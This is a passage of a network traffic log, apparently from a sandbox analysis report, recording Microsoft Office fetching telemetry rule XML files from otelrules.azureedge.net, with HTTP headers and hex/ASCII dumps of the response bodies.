2024-10-31 08:07:26 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: f3cd1c79-a01e-0032-01bf-2a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-159b85dff8f7x84jhC1DFWaghs0000000110000000004efn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 53a1c2dc-701e-003e-3d57-2b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-15b8d89586f42m673h1quuee4s0000000da0000000008kr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 2ff17603-001e-0066-6855-2b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-15b8d89586f989rkwt13xern5400000004kg000000004h4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 258e3987-401e-0047-4dfa-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-17c5cb586f6r59nt4rzfbx40ys00000001f0000000007mbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cdf7bdf1-501e-0029-3f94-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-17c5cb586f6hn8cl90dxzu28kw00000009dg00000000asyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-16849878b787wpl5wqkt5731b400000009x000000000g3k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:27 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 17a5a9a5-201e-0003-7b36-28f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-15b8d89586fmhjx6a8nf3qm53c0000000320000000008pge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:27 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-16849878b7867ttgfbpnfxt44s0000000930000000008xah x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:27 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ab89d8fd-301e-001f-7989-29aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-17c5cb586f6sqz6f73fsew1zd8000000031g000000002ugz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:27 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bc157e3b-201e-000c-6094-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-17c5cb586f6zcqf8r7the4ske000000001fg00000000cddu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:27 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:27 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080727Z-16849878b78nzcqcd7bed2fb6n00000001k000000000hx40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 